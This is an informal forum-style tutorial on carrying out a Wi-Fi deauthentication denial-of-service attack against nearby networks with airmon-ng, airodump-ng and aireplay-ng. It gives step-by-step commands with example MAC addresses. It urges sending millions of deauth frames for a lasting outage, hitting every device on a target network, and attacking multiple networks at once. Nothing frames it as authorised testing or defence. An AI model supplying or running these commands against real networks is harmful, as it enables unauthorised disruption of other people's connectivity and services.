Today i'm gonna sharing this tutorial that how to DOS network devicecs with deauthorization.
Lets start:
(using backtrack/kali linux)

(networks within reach of your computer)

Disconnect from any network you are on,
this attack is fully capable while you are offline

open a terminal and type the following commands :

airmon-ng start wlan0 (or type your current interface, usually wlan0)

airodump-ng mon0

(now airodump-ng will scan for networks)

when the target network mac address (bssid) is found type :

airodump-ng -c (users channel#) -w (create file name) --bssid (type bssid#) --ivs mon0

example: airodump-ng -c 7 - w ABC123 --bssid F6:B4:22:0D:14:B2 --ivs mon0

(the above command will dump the target networks current active devices)

Now open a new terminal(keep other terminal open) :

type :

aireplay-ng --deauth (# of deauths to send) -a (type bssid) -c (type station) mon0

example: aireplay-ng --deauth 1 -a F6:B4:22:0D:14:B2 -c D0:22:14:F8:00:D4 mon0

(Note : keep entering the above command until the correct channel of the network is found,
you will be able to tell if the command is running or not)
(Note : -c is actaully the mac address of a current active device on the network)
(Note : for a long term DOS use 1000000's of deauth #'s)

DOS IS ENGAGED!!!

Note : you can open up what seems to be endless terminals with the aireplay-ng command
for each different device mac address on the target network, also after starting
the attack you can click back on the first terminal to see if the power of the
device is at 0 (which is the goal), and at last you can do multiple networks at once.